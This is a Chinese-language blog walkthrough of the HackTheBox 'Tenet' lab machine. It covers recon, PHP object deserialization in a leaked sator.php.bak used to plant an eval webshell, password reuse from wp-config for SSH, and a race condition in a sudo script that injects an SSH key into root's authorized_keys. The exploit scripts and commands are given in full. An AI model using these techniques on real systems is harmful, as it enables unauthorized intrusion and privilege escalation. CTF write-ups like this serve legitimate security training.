2021-02-01 HTB Tenet walkthrough

IP:10.10.10.223

信息搜集

nmap

nmap只扫到了22和80端口,80端口还是apache默认界面

nmap.png

所以要进行深入的目录扫描
gobuster

发现上面运行了wordpress
第一反应进行wpscan
wpscan

没什么发现的已知直接能提权的漏洞,所以暂时收集到这一步,还没有什么具体思路。所以还是去网站上面看看有什么信息,网站上写着要做一个时间管理软件“Rotas”,还要迁移网站之类的信息
迁移网站下面的评论令人关注
comment

但是试图访问sator.php,并不能成功访问,思路彻底卡死

Get USER

经过一些脑洞和HTB刷题经验...在hosts中添加10.10.10.223 sator.tenet.htb成功找到了sator.php

sator

并且下载到了备份文件 sator.php.bak

<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>

很容易发现反序列化的内容是可以操纵的,于是想到利用析构函数写一个webshell进去,具体利用脚本如下:

<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}



$app = new DatabaseExport;

$app -> user_file = 'ev3r.php';
$app -> data = '<?php eval($_POST[a]);?>';
echo serialize($app);

?>

上传webshell


uploadshell

利用蚁剑连接成功
但是发现是www-data用户,不能直接读user.txt
翻了一下wordpress的配置,从wp-config里面读到了后台登录密码


password.png

利用该密码ssh连接,成功get user

Get Root

在neil账户下利用sudo -l尝试发现一下可利用的高权限脚本

enablessh

发现enableSSH.sh这个脚本
查看后发现它做了一个把ssh公钥写入root下的.ssh目录
在这个写入过程中,存在一个小问题,写入过程如下:

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

这个脚本会先把公钥写入临时文件,做一个检查,再把把临时文件中的内容写进root目录
这样就会存在一个条件竞争的问题,neil用户可以在把公钥写入临时文件->临时文件写入root目录这个过程中,任意修改临时文件中的内容,以达到把自己想要的内容写入/root/.ssh/authorized_keys的目的

exploit

构造自己的ssh公钥,在一个shell中执行命令

while true; do echo "自己的公钥" | tee "/tmp/ssh-*"; done

再开启一个shell执行

sudo /usr/local/bin/enableSSH.sh

会有失败的可能性,需要多来几次


race

最后通过ssh连接root用户


root
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 根据2018版教程整理。 (一)背景概述 信息技术的发展 信息技术的消极影响(1) 信息泛滥(2) 信息污染(3)...
    siuLimTau阅读 2,334评论 1 8
  • Help Desk 经过第一篇文章,我思考了一下,已经存在太多的 walkthrough,不应该再去写一样的文章,...
    darkie阅读 503评论 0 0
  • 打算在代码审计上入下坑。本来找了个不知名cms想审计一下的。偶然间看到了星盟王叹之师傅在用php-audit-la...
    byc_404阅读 1,564评论 0 1
  • Dyplesher靶机是自己第一次完成的现役insane难度htb靶机。靶机涉及的服务相对比较多,包括web,go...
    byc_404阅读 712评论 0 1
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,991评论 19 139